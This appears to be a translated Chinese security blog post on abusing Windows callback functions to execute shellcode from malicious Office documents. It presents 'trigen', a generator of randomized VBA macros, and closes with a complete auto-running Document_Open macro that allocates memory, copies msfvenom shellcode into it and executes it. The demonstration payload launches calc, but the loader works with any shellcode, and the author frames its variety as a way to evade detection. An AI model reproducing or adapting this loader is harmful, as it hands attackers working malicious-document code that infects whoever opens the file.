利用原生windows函数执行shellcode。我已经做了很多恶意的文档的分析,在一个流行的变种中我发现了一个特别感兴趣的技术。它滥用原生的Windows函数调用来执行加载进内存的shellcode。尽管我知道这是个古老的技术,但是我认为这个非常酷,并且我不太熟悉它。因此我做了一些研究来确定其他的可利用的函数。
0x01 分析
为了让你明白这个如何工作,我将快速讲解一个如何通过函数执行shellcode的例子。我将使用函数EnumResourseTypeA。
EnumResourceTypesA( __in_opt HMODULE hModule, __in ENUMRESTYPEPROCA lpEnumFunc, __in LONG_PTR lParam );
正如微软所声明的是,这个函数的功能是“在二进制文件中枚举资源类型”。感兴趣的点是第二个参数,是一个每次美剧资源类型都会被调用的回调函数的指针。如果我将shellcode的内存地址传递给lpEnumFunc,每次枚举的资源类型会传递给这个函数,但是因为它是shellcode,她只会执行我提供的内存地址,要记住内存页需要有执行权限。
在恶意文档的上下文中,VBA提供了直接调用Windows函数的功能,但是在VBA之外,如果您知道目标应用程序已经导入了该函数,则这些函数也可以在典型的利用攻击期间利用。你可以保存ROP链空间,这些空间通常可用于某些执行类似功能的小工具,具体取决于函数和所需的参数。另外,从通常的角度看,如果你一直使用同样的函数,则会给动态和静态分析留下清楚的模式,使得易于检测和跟踪。因此有可选项完成这个功能是好的。
为了枚举所有的可能的函数,我在Windows 7 x86 SDK中的头文件中搜索。
$ cat *.h |tr '\r\n' ' ' |tr ';' '\n' |sed -e 's/--//g' -e 's/ / /g' |grep -iE "__in.+(Func|Proc|CallBack| lpfn| lpproc)," |grep -oE " [a-zA-Z]+\([a-zA-Z0-9*_, ]+\)" |grep "__in" |cut -d"(" -f1 |sort -u |sed -e 's/^ //g'主要是搜索'(Func|Proc|CallBack| lpfn| lpproc)',其余的是归一化头文件函数结构,以利于简单的解析。
在的到一个候选函数的列表后,我开始测试每一个函数,搞清楚哪个可以被恶意文档利用。差不多就是读MSDN文档去理解函数的目的并且用几行VBA代码测试下。这些函数中大部分能够用来执行指定地址的代码,但是很多函数需要多个函数链才能达到目的。例如,函数DestroyCluster有一个相似的回调函数的参数,但是你不得不也调用CreateCluster和OpenCluster来先创建环境,这个有点敏感。
下表列出了确认的可以执行指定内存地址代码的函数。
除了这个列表,我能够得到49个函数,红色高亮部分,能够不需要其他交互执行calc shellcode。我不得不提供一些独特的数据,如一个进程的句柄或特定的值,但在大多数情况下,它们是独立的,并接受0或1作为函数需要的每个其他参数的值。
我将这些都封装在一个小脚本中,我称之为trigen,能够随机生成VBA的宏。包含3步,使用API从内存中分配内存、复制shellcode到内存中和最后利用win32函数调用来执行shellcode。它能生成总共384种可能的宏组合。
这个工具能从这里下载,同时将产生类似下面的输出。它使用一个参数,即shellcode的16进制字符串,但是会将msfvenom的输出做一个最小化解析。
# python trigen.py "$(msfvenom --payload windows/exec CMD='calc.exe' -f c)"
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 193 bytes
################################################
# #
# Copy VBA to Microsoft Office 97-2003 DOC #
# #
# Alloc: HeapAlloc #
# Write: RtlMoveMemory #
# ExeSC: EnumSystemCodePagesW #
# #
################################################
Private Declare Function createMemory Lib "kernel32" Alias "HeapCreate" (ByVal flOptions As Long, ByVal dwInitialSize As Long, ByVal dwMaximumSize As Long) As Long
Private Declare Function allocateMemory Lib "kernel32" Alias "HeapAlloc" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Sub copyMemory Lib "ntdll" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function shellExecute Lib "kernel32" Alias "EnumSystemCodePagesW" (ByVal lpCodePageEnumProc As Any, ByVal dwFlags As Any) As Long
Private Sub Document_Open()
Dim shellCode As String
Dim shellLength As Byte
Dim byteArray() As Byte
Dim memoryAddress As Long
Dim zL As Long
zL = 0
Dim rL As Long
shellCode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500"
shellLength = Len(shellCode) / 2
ReDim byteArray(0 To shellLength)
For i = 0 To shellLength - 1
If i = 0 Then
pos = i + 1
Else
pos = i * 2 + 1
End If
Value = Mid(shellCode, pos, 2)
byteArray(i) = Val("&H" & Value)
Next
rL = createMemory(&H40000, zL, zL)
memoryAddress = allocateMemory(rL, zL, &H5000)
copyMemory ByVal memoryAddress, byteArray(0), UBound(byteArray) + 1
executeResult = shellExecute(memoryAddress, zL)
End Sub
代码的逻辑非常直接。分配内存,拷贝shellcode到内存,通过滥用函数调用执行shellcode。这个脚本包含了每部分的必要的代码。